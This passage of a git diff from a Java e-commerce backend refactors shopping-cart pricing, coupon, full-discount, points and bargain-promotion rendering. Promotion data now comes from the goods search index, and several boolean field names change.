memberService.getUserInfo(); + if (member.getPoint() < pointsGoods.getPoints()) { + throw new ServiceException(ResultCode.USER_POINTS_ERROR); + } } + } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckedFilterRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckedFilterRender.java index 8c9bcda7..6c05a303 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckedFilterRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckedFilterRender.java @@ -28,7 +28,7 @@ public class CheckedFilterRender implements CartRenderStep { @Override public void render(TradeDTO tradeDTO) { //将购物车到sku未选择信息过滤 - List collect = tradeDTO.getSkuList().parallelStream().filter(i -> Boolean.TRUE.equals(i.getChecked())).collect(Collectors.toList()); + List collect = tradeDTO.getSkuList().stream().filter(i -> Boolean.TRUE.equals(i.getChecked())).collect(Collectors.toList()); tradeDTO.setSkuList(collect); //购物车信息过滤 diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java index a30f29ce..5183c7d4 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java @@ -1,6 +1,7 @@ package cn.lili.modules.order.cart.render.impl; -import cn.hutool.core.util.StrUtil; +import cn.hutool.core.text.CharSequenceUtil; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.modules.goods.service.CategoryService; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; @@ -10,13 +11,13 @@ import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; -import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; -import cn.lili.modules.promotion.service.PointsGoodsService; +import cn.lili.modules.promotion.entity.dos.PointsGoods; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import java.util.List; +import java.util.Map; +import java.util.Optional; /** * 佣金计算 @@ -33,16 +34,6 @@ public class CommissionRender implements CartRenderStep { */ @Autowired private CategoryService categoryService; - /** - * 积分商品 - */ - @Autowired - private PointsGoodsService pointsGoodsService; - /** - * 砍价商品 - */ - @Autowired - private KanjiaActivityGoodsService kanjiaActivityGoodsService; @Override public RenderStepEnums step() { @@ -72,20 +63,26 @@ public class CommissionRender implements CartRenderStep { //平台佣金根据分类计算 String categoryId = cartSkuVO.getGoodsSku().getCategoryPath() .substring(cartSkuVO.getGoodsSku().getCategoryPath().lastIndexOf(",") + 1); - if (StrUtil.isNotEmpty(categoryId)) { + if (CharSequenceUtil.isNotEmpty(categoryId)) { Double commissionRate = categoryService.getById(categoryId).getCommissionRate(); priceDetailDTO.setPlatFormCommissionPoint(commissionRate); } //如果积分订单 积分订单,单独操作订单结算金额和商家结算字段 if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) { - PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(cartSkuVO.getGoodsSku().getId()); - priceDetailDTO.setSettlementPrice(pointsGoodsVO.getSettlementPrice()); + Optional> pointsPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.POINTS_GOODS.name())).findFirst(); + if (pointsPromotions.isPresent()) { + PointsGoods pointsGoods = (PointsGoods) pointsPromotions.get().getValue(); + priceDetailDTO.setSettlementPrice(pointsGoods.getSettlementPrice()); + } } //如果砍价订单 计算金额,单独操作订单结算金额和商家结算字段 else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { - KanjiaActivityGoods kanjiaActivityGoods = kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(cartSkuVO.getGoodsSku().getId()); - priceDetailDTO.setSettlementPrice(kanjiaActivityGoods.getSettlementPrice()); + Optional> kanjiaPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst(); + if (kanjiaPromotions.isPresent()) { + KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue(); + priceDetailDTO.setSettlementPrice(kanjiaActivityGoods.getSettlementPrice()); + } } } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java index b37acdc7..ef5f0e0c 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java @@ -79,14 +79,14 @@ public class CouponRender implements CartRenderStep { */ private void checkMemberExistCoupon(TradeDTO tradeDTO, List memberCouponList) { if (tradeDTO.getPlatformCoupon() != null && tradeDTO.getPlatformCoupon().getMemberCoupon() != null) { - boolean b = memberCouponList.parallelStream().anyMatch(i -> i.getId().equals(tradeDTO.getPlatformCoupon().getMemberCoupon().getId())); + boolean b = memberCouponList.stream().anyMatch(i -> i.getId().equals(tradeDTO.getPlatformCoupon().getMemberCoupon().getId())); if (!b) { tradeDTO.setPlatformCoupon(null); } } if (!tradeDTO.getStoreCoupons().isEmpty()) { for (Map.Entry entry : tradeDTO.getStoreCoupons().entrySet()) { - if (entry.getValue().getMemberCoupon() != null && memberCouponList.parallelStream().noneMatch(i -> i.getId().equals(entry.getValue().getMemberCoupon().getId()))) { + if (entry.getValue().getMemberCoupon() != null && memberCouponList.stream().noneMatch(i -> i.getId().equals(entry.getValue().getMemberCoupon().getId()))) { tradeDTO.getStoreCoupons().remove(entry.getKey()); } } @@ -138,7 +138,7 @@ public class CouponRender implements CartRenderStep { List filterSku; //平台店铺过滤 - if (Boolean.TRUE.equals(memberCoupon.getIsPlatform())) { + if (Boolean.TRUE.equals(memberCoupon.getPlatformFlag())) { filterSku = cartSkuVOS; } else { filterSku = cartSkuVOS.stream().filter(cartSkuVO -> cartSkuVO.getStoreId().equals(memberCoupon.getStoreId())).collect(Collectors.toList()); @@ -263,10 +263,10 @@ public class CouponRender implements CartRenderStep { private void renderCouponPrice(Map couponMap, TradeDTO tradeDTO, MemberCoupon coupon, MemberCouponDTO memberCouponDTO) { //分发优惠券 promotionPriceUtil.recountPrice(tradeDTO, memberCouponDTO.getSkuDetail(), memberCouponDTO.getMemberCoupon().getPrice(), - Boolean.TRUE.equals(coupon.getIsPlatform()) ? + Boolean.TRUE.equals(coupon.getPlatformFlag()) ? PromotionTypeEnum.PLATFORM_COUPON : PromotionTypeEnum.COUPON); //如果是平台券 则需要计算商家承担比例 - if (Boolean.TRUE.equals(coupon.getIsPlatform()) && coupon.getStoreCommission() > 0) { + if (Boolean.TRUE.equals(coupon.getPlatformFlag()) && coupon.getStoreCommission() > 0) { //循环所有优惠券 for (String skuId : couponMap.keySet()) { @@ -306,7 +306,7 @@ public class CouponRender implements CartRenderStep { CurrencyUtil.sub(1, CurrencyUtil.div(coupon.getDiscount(), 10, 3))); //平台券则写入店铺承担优惠券比例 - if (Boolean.TRUE.equals(coupon.getIsPlatform())) { + if (Boolean.TRUE.equals(coupon.getPlatformFlag())) { priceDetailDTO.setSiteCouponPrice(discountCouponPrice); priceDetailDTO.setSiteCouponPoint(coupon.getStoreCommission()); } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/DistributionPriceRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/DistributionPriceRender.java index ce8ca66f..a1a96cae 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/DistributionPriceRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/DistributionPriceRender.java @@ -63,14 +63,12 @@ public class DistributionPriceRender implements CartRenderStep { }).collect(Collectors.toList()); //是否包含分销商品 List distributionGoods = distributionGoodsService.distributionGoods(skuIds); - if (distributionGoods != null && distributionGoods.size() > 0) { - distributionGoods.forEach(dg -> { - tradeDTO.getCheckedSkuList().forEach(cartSkuVO -> { - if (cartSkuVO.getGoodsSku().getId().equals(dg.getSkuId())) { - cartSkuVO.setDistributionGoods(dg); - } - }); - }); + if (distributionGoods != null && !distributionGoods.isEmpty()) { + distributionGoods.forEach(dg -> tradeDTO.getCheckedSkuList().forEach(cartSkuVO -> { + if (cartSkuVO.getGoodsSku().getId().equals(dg.getSkuId())) { + cartSkuVO.setDistributionGoods(dg); + } + })); } for (CartSkuVO cartSkuVO : tradeDTO.getCheckedSkuList()) { diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java index e487b614..35bfb885 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java @@ -12,9 +12,7 @@ import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.cart.render.util.PromotionPriceUtil; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; -import cn.lili.modules.promotion.service.FullDiscountService; +import cn.lili.modules.promotion.entity.dos.FullDiscount; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -30,9 +28,6 @@ import java.util.stream.Collectors; @Service public class FullDiscountRender implements CartRenderStep { - @Autowired - private FullDiscountService fullDiscountService; - @Autowired private PromotionPriceUtil promotionPriceUtil; @@ -47,38 +42,35 @@ public class FullDiscountRender implements CartRenderStep { @Override public void render(TradeDTO tradeDTO) { - //店铺集合 List cartList = tradeDTO.getCartList(); + //循环店铺购物车 + for (CartVO cart : cartList) { + List fullDiscountSkuList = cart.getSkuList().stream() + .filter(i -> i.getPromotionMap().keySet().stream().anyMatch(j -> j.contains(PromotionTypeEnum.FULL_DISCOUNT.name()))) + .collect(Collectors.toList()); - //店铺id集合 - List storeIds = tradeDTO.getCartList().stream().map(CartVO::getStoreId).collect(Collectors.toList()); - //获取当前店铺进行到满减活动 - List fullDiscounts = fullDiscountService.currentPromotion(storeIds); - if (fullDiscounts == null || fullDiscounts.isEmpty()) { - return; - } + if (!fullDiscountSkuList.isEmpty()) { + Optional> fullDiscountOptional = fullDiscountSkuList.get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.FULL_DISCOUNT.name())).findFirst(); - //循环满减信息 - for (FullDiscountVO fullDiscount : fullDiscounts) { - //判定参与活动的商品 全品类参与或者部分商品参与,则进行云散 - //循环店铺购物车 - for (CartVO cart : cartList) { - //如果购物车中的店铺id与活动店铺id相等,则进行促销计算 - if (fullDiscount.getStoreId().equals(cart.getStoreId())) { + if (fullDiscountOptional.isPresent()) { + FullDiscount fullDiscount = (FullDiscount) fullDiscountOptional.get().getValue(); + FullDiscountVO fullDiscountVO = new FullDiscountVO(fullDiscount); //如果有赠品,则将赠品信息写入 - if (Boolean.TRUE.equals(fullDiscount.getIsGift())) { + if (Boolean.TRUE.equals(fullDiscount.getGiftFlag())) { GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(fullDiscount.getGiftId()); - fullDiscount.setGiftSku(goodsSku); + fullDiscountVO.setGiftSkuId(fullDiscount.getGiftId()); + fullDiscountVO.setGiftSkuName(goodsSku.getGoodsName()); } //写入满减活动 - cart.setFullDiscount(fullDiscount); - Map skuPriceDetail; - //参与活动的sku判定 - skuPriceDetail = initFullDiscountGoods(fullDiscount, cart.getCheckedSkuList()); + cart.setFullDiscount(fullDiscountVO); + Map skuPriceDetail = new HashMap<>(16); + for (CartSkuVO cartSkuVO : cart.getSkuList()) { + skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice()); + } if (!skuPriceDetail.isEmpty()) { //记录参与满减活动的sku cart.setFullDiscountSkuIds(new ArrayList<>(skuPriceDetail.keySet())); @@ -88,21 +80,20 @@ public class FullDiscountRender implements CartRenderStep { if (isFull(countPrice, cart)) { //如果减现金 - if (Boolean.TRUE.equals(fullDiscount.getIsFullMinus())) { + if (Boolean.TRUE.equals(fullDiscount.getFullMinusFlag())) { promotionPriceUtil.recountPrice(tradeDTO, skuPriceDetail, fullDiscount.getFullMinus(), PromotionTypeEnum.FULL_DISCOUNT); } //打折 - else if (Boolean.TRUE.equals(fullDiscount.getIsFullRate())) { + else if (Boolean.TRUE.equals(fullDiscount.getFullRateFlag())) { this.renderFullRate(cart, skuPriceDetail, CurrencyUtil.div(fullDiscount.getFullRate(), 10)); } //渲染满优惠 renderFullMinus(cart); } } - } - } + } } @@ -115,9 +106,7 @@ public class FullDiscountRender implements CartRenderStep { */ private void renderFullRate(CartVO cart, Map skuPriceDetail, Double rate) { - List cartSkuVOS = cart.getCheckedSkuList().stream().filter(cartSkuVO -> { - return skuPriceDetail.containsKey(cartSkuVO.getGoodsSku().getId()); - }).collect(Collectors.toList()); + List cartSkuVOS = cart.getCheckedSkuList().stream().filter(cartSkuVO -> skuPriceDetail.containsKey(cartSkuVO.getGoodsSku().getId())).collect(Collectors.toList()); // 循环计算扣减金额 cartSkuVOS.forEach(cartSkuVO -> { @@ -136,34 +125,6 @@ public class FullDiscountRender implements CartRenderStep { } - /** - * 获取参与满优惠的商品id - * - * @param fullDiscount 满优惠信息 - * @param cartSkuVOS 购物车商品sku信息 - * @return 参与满优惠的商品id - */ - public Map initFullDiscountGoods(FullDiscountVO fullDiscount, List cartSkuVOS) { - Map skuPriceDetail = new HashMap<>(16); - - //全品类参与 - if (PromotionsScopeTypeEnum.ALL.name().equals(fullDiscount.getScopeType())) { - for (CartSkuVO cartSkuVO : cartSkuVOS) { - skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice()); - } - } else { - List collect = fullDiscount.getPromotionGoodsList().stream().map(PromotionGoods::getSkuId).collect(Collectors.toList()); - //sku 集合判定 - for (CartSkuVO cartSkuVO : cartSkuVOS) { - // 如果参加满减,并且购物车选中状态 ,则记录商品sku - if (Boolean.TRUE.equals(cartSkuVO.getChecked()) && collect.contains(cartSkuVO.getGoodsSku().getId())) { - skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice()); - } - } - } - return skuPriceDetail; - } - /** * 渲染满减优惠 * @@ -173,17 +134,17 @@ public class FullDiscountRender implements CartRenderStep { //获取参与活动的商品总价 FullDiscountVO fullDiscount = cartVO.getFullDiscount(); - if (Boolean.TRUE.equals(fullDiscount.getIsCoupon())) { + if (Boolean.TRUE.equals(fullDiscount.getCouponFlag())) { cartVO.getGiftCouponList().add(fullDiscount.getCouponId()); } - if (Boolean.TRUE.equals(fullDiscount.getIsGift())) { + if (Boolean.TRUE.equals(fullDiscount.getGiftFlag())) { cartVO.setGiftList(Arrays.asList(fullDiscount.getGiftId().split(","))); } - if (Boolean.TRUE.equals(fullDiscount.getIsPoint())) { + if (Boolean.TRUE.equals(fullDiscount.getPointFlag())) { cartVO.setGiftPoint(fullDiscount.getPoint()); } //如果满足,判定是否免邮,免邮的话需要渲染一边sku - if (Boolean.TRUE.equals(fullDiscount.getIsFreeFreight())) { + if (Boolean.TRUE.equals(fullDiscount.getFreeFreightFlag())) { for (CartSkuVO skuVO : cartVO.getCheckedSkuList()) { skuVO.setIsFreeFreight(true); } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java index 8ca43505..2251aedf 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java @@ -9,16 +9,18 @@ import cn.lili.modules.order.cart.entity.vo.CartSkuVO; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.vos.PromotionSkuVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO; import cn.lili.modules.promotion.service.KanjiaActivityService; -import cn.lili.modules.promotion.service.PromotionGoodsService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; +import java.util.Map; +import java.util.Objects; + /** * 购物促销信息渲染实现 * @@ -29,12 +31,6 @@ import org.springframework.stereotype.Service; public class SkuPromotionRender implements CartRenderStep { - /** - * 促销商品 - */ - @Autowired - private PromotionGoodsService promotionGoodsService; - @Autowired private KanjiaActivityService kanjiaActivityService; @@ -94,11 +90,11 @@ public class SkuPromotionRender implements CartRenderStep { for (CartSkuVO cartSkuVO : cartVO.getCheckedSkuList()) { KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); kanjiaActivitySearchParams.setGoodsSkuId(cartSkuVO.getGoodsSku().getId()); - kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); + kanjiaActivitySearchParams.setMemberId(Objects.requireNonNull(UserContext.getCurrentUser()).getId()); kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name()); KanjiaActivityVO kanjiaActivityVO = kanjiaActivityService.getKanjiaActivityVO(kanjiaActivitySearchParams); //可以砍价金额购买,则处理信息 - if (kanjiaActivityVO.getPass()) { + if (Boolean.TRUE.equals(kanjiaActivityVO.getPass())) { cartSkuVO.setKanjiaId(kanjiaActivityVO.getId()); cartSkuVO.setPurchasePrice(kanjiaActivityVO.getPurchasePrice()); cartSkuVO.setSubTotal(kanjiaActivityVO.getPurchasePrice()); @@ -126,18 +122,15 @@ public class SkuPromotionRender implements CartRenderStep { for (CartVO cartVO : tradeDTO.getCartList()) { //循环sku for (CartSkuVO cartSkuVO : cartVO.getCheckedSkuList()) { - //更新商品促销 - promotionGoodsService.updatePromotion(cartSkuVO); //赋予商品促销信息 - for (PromotionGoods promotionGoods : cartSkuVO.getPromotions()) { - + for (Map.Entry entry : cartSkuVO.getPromotionMap().entrySet()) { // 忽略拼团活动 - if (promotionGoods.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name())) { + if (entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { continue; } - PromotionSkuVO promotionSkuVO = new PromotionSkuVO(promotionGoods.getPromotionType(), promotionGoods.getPromotionId()); - cartSkuVO.setPurchasePrice(promotionGoods.getPrice()); - cartSkuVO.setSubTotal(CurrencyUtil.mul(promotionGoods.getPrice(), cartSkuVO.getNum())); + BasePromotions basePromotions = (BasePromotions) entry.getValue(); + PromotionSkuVO promotionSkuVO = new PromotionSkuVO(entry.getKey().split("-")[0], basePromotions.getId()); + cartSkuVO.setSubTotal(CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); cartSkuVO.getPriceDetailDTO().setGoodsPrice(cartSkuVO.getSubTotal()); cartSkuVO.getPriceDetailDTO().getJoinPromotion().add(promotionSkuVO); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index a51427d3..bc75c9f9 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -1,16 +1,19 @@ package cn.lili.modules.order.cart.service; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; +import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import cn.lili.common.utils.CurrencyUtil; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; +import cn.lili.modules.goods.entity.vos.GoodsVO; import cn.lili.modules.goods.service.GoodsService; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.member.entity.dos.MemberAddress; @@ -25,17 +28,26 @@ import cn.lili.modules.order.cart.entity.vo.TradeParams; import cn.lili.modules.order.cart.render.TradeBuilder; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.vo.ReceiptVO; -import cn.lili.modules.promotion.entity.dos.*; +import cn.lili.modules.promotion.entity.dos.KanjiaActivity; +import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; +import cn.lili.modules.promotion.entity.dos.MemberCoupon; +import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; -import cn.lili.modules.promotion.service.*; +import cn.lili.modules.promotion.service.KanjiaActivityService; +import cn.lili.modules.promotion.service.MemberCouponService; +import cn.lili.modules.promotion.service.PointsGoodsService; import cn.lili.modules.search.entity.dos.EsGoodsIndex; +import cn.lili.modules.search.service.EsGoodsIndexService; import cn.lili.modules.search.service.EsGoodsSearchService; +import cn.lili.rocketmq.RocketmqSendCallbackBuilder; +import cn.lili.rocketmq.tags.GoodsTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import lombok.extern.slf4j.Slf4j; +import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -73,11 +85,6 @@ public class CartServiceImpl implements CartService { * 促销商品 */ @Autowired - private PromotionGoodsService promotionGoodsService; - /** - * 促销商品 - */ - @Autowired private PointsGoodsService pointsGoodsService; /** * 会员地址 @@ -89,23 +96,31 @@ public class CartServiceImpl implements CartService { */ @Autowired private EsGoodsSearchService esGoodsSearchService; + /** + * 商品索引 + */ + @Autowired + private EsGoodsIndexService goodsIndexService; /** * ES商品 */ @Autowired private GoodsService goodsService; - /** - * 拼团 - */ - @Autowired - private PintuanService pintuanService; /** * 砍价 */ @Autowired private KanjiaActivityService kanjiaActivityService; + /** + * rocketMq + */ @Autowired - private KanjiaActivityGoodsService kanjiaActivityGoodsService; + private RocketMQTemplate rocketMQTemplate; + /** + * rocketMq配置 + */ + @Autowired + private RocketmqCustomProperties rocketmqCustomProperties; /** * 交易 */ @@ -118,7 +133,28 @@ public class CartServiceImpl implements CartService { throw new ServiceException(ResultCode.CART_NUM_ERROR); } CartTypeEnum cartTypeEnum = getCartType(cartType); - GoodsSku dataSku = checkGoods(skuId, cartType); + GoodsSku dataSku = checkGoods(skuId); + Map promotionMap; + EsGoodsIndex goodsIndex = goodsIndexService.findById(skuId); + if (goodsIndex == null) { + GoodsVO goodsVO = this.goodsService.getGoodsVO(dataSku.getGoodsId()); + goodsIndex = goodsIndexService.resetEsGoodsIndex(dataSku, goodsVO.getGoodsParamsDTOList()); + + //发送mq消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.RESET_GOODS_INDEX.name(); + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(Collections.singletonList(goodsIndex)), RocketmqSendCallbackBuilder.commonCallback()); + } + if (goodsIndex.getPromotionMap() != null && !goodsIndex.getPromotionMap().isEmpty()) { + if (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.SECKILL.name())) || + (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.PINTUAN.name())) + && CartTypeEnum.PINTUAN.name().equals(cartType))) { + dataSku.setPromotionFlag(true); + dataSku.setPromotionPrice(goodsIndex.getPromotionPrice()); + } + promotionMap = goodsIndex.getPromotionMap(); + } else { + promotionMap = null; + } try { //购物车方式购买需要保存之前的选择,其他方式购买,则直接抹除掉之前的记录 TradeDTO tradeDTO; @@ -150,10 +186,9 @@ public class CartServiceImpl implements CartService { //先清理一下 如果商品无效的话 cartSkuVOS.remove(cartSkuVO); //购物车中不存在此商品,则新建立一个 - cartSkuVO = new CartSkuVO(dataSku); + cartSkuVO = new CartSkuVO(dataSku, promotionMap); cartSkuVO.setCartType(cartTypeEnum); - promotionGoodsService.updatePromotion(cartSkuVO); //再设置加入购物车的数量 this.checkSetGoodsQuantity(cartSkuVO, skuId, num); //计算购物车小计 @@ -171,9 +206,8 @@ public class CartServiceImpl implements CartService { List cartSkuVOS = tradeDTO.getSkuList(); //购物车中不存在此商品,则新建立一个 - CartSkuVO cartSkuVO = new CartSkuVO(dataSku); + CartSkuVO cartSkuVO = new CartSkuVO(dataSku, promotionMap); cartSkuVO.setCartType(cartTypeEnum); - promotionGoodsService.updatePromotion(cartSkuVO); //检测购物车数据 checkCart(cartTypeEnum, cartSkuVO, skuId, num); //计算购物车小计 @@ -329,17 +363,15 @@ public class CartServiceImpl implements CartService { long count = 0L; double totalPrice = tradeDTO.getSkuList().stream().mapToDouble(i -> i.getPurchasePrice() * i.getNum()).sum(); if (tradeDTO.getSkuList() != null && !tradeDTO.getSkuList().isEmpty()) { - List ids = tradeDTO.getSkuList().parallelStream().filter(i -> Boolean.TRUE.equals(i.getChecked())).map(i -> i.getGoodsSku().getId()).collect(Collectors.toList()); + List ids = tradeDTO.getSkuList().stream().filter(i -> Boolean.TRUE.equals(i.getChecked())).map(i -> i.getGoodsSku().getId()).collect(Collectors.toList()); List esGoodsList = esGoodsSearchService.getEsGoodsBySkuIds(ids); for (EsGoodsIndex esGoodsIndex : esGoodsList) { - if (esGoodsIndex != null) { - if (esGoodsIndex.getPromotionMap() != null) { - List couponIds = esGoodsIndex.getPromotionMap().keySet().parallelStream().filter(i -> i.contains(PromotionTypeEnum.COUPON.name())).map(i -> i.substring(i.lastIndexOf("-") + 1)).collect(Collectors.toList()); - if (!couponIds.isEmpty()) { - List currentGoodsCanUse = memberCouponService.getCurrentGoodsCanUse(tradeDTO.getMemberId(), couponIds, totalPrice); - count = currentGoodsCanUse.size(); - } + if (esGoodsIndex != null && esGoodsIndex.getPromotionMap() != null) { + List couponIds = esGoodsIndex.getPromotionMap().keySet().stream().filter(i -> i.contains(PromotionTypeEnum.COUPON.name())).map(i -> i.substring(i.lastIndexOf("-") + 1)).collect(Collectors.toList()); + if (!couponIds.isEmpty()) { + List currentGoodsCanUse = memberCouponService.getCurrentGoodsCanUse(tradeDTO.getMemberId(), couponIds, totalPrice); + count = currentGoodsCanUse.size(); } } } @@ -370,26 +402,15 @@ public class CartServiceImpl implements CartService { * 校验商品有效性,判定失效和库存,促销活动价格 * * @param skuId 商品skuId - * @param cartType 购物车类型 */ - private GoodsSku checkGoods(String skuId, String cartType) { + private GoodsSku checkGoods(String skuId) { GoodsSku dataSku = this.goodsSkuService.getGoodsSkuByIdFromCache(skuId); if (dataSku == null) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); } - if (!GoodsAuthEnum.PASS.name().equals(dataSku.getIsAuth()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) { + if (!GoodsAuthEnum.PASS.name().equals(dataSku.getAuthFlag()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); } - Double validSeckillGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Collections.singletonList(PromotionTypeEnum.SECKILL.name())); - if (validSeckillGoodsPrice != null) { - dataSku.setIsPromotion(true); - dataSku.setPromotionPrice(validSeckillGoodsPrice); - } - Double validPintuanGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Collections.singletonList(PromotionTypeEnum.PINTUAN.name())); - if (validPintuanGoodsPrice != null && CartTypeEnum.PINTUAN.name().equals(cartType)) { - dataSku.setIsPromotion(true); - dataSku.setPromotionPrice(validPintuanGoodsPrice); - } return dataSku; } @@ -517,7 +538,7 @@ public class CartServiceImpl implements CartService { if (use) { this.useCoupon(tradeDTO, memberCoupon, cartTypeEnum); } else { - if (Boolean.TRUE.equals(memberCoupon.getIsPlatform())) { + if (Boolean.TRUE.equals(memberCoupon.getPlatformFlag())) { tradeDTO.setPlatformCoupon(null); } else { tradeDTO.getStoreCoupons().remove(memberCoupon.getStoreId()); @@ -585,23 +606,17 @@ public class CartServiceImpl implements CartService { //购物车价格 - Double cartPrice = 0d; + double cartPrice = 0d; //循环符合优惠券的商品 for (CartSkuVO cartSkuVO : cartSkuVOS) { - if (!cartSkuVO.getChecked()) { + if (Boolean.FALSE.equals(cartSkuVO.getChecked())) { continue; } - //获取商品的促销信息 - Optional promotionOptional = - cartSkuVO.getPromotions().parallelStream().filter(promotionGoods -> - (promotionGoods.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name()) && - cartTypeEnum.equals(CartTypeEnum.PINTUAN)) || - 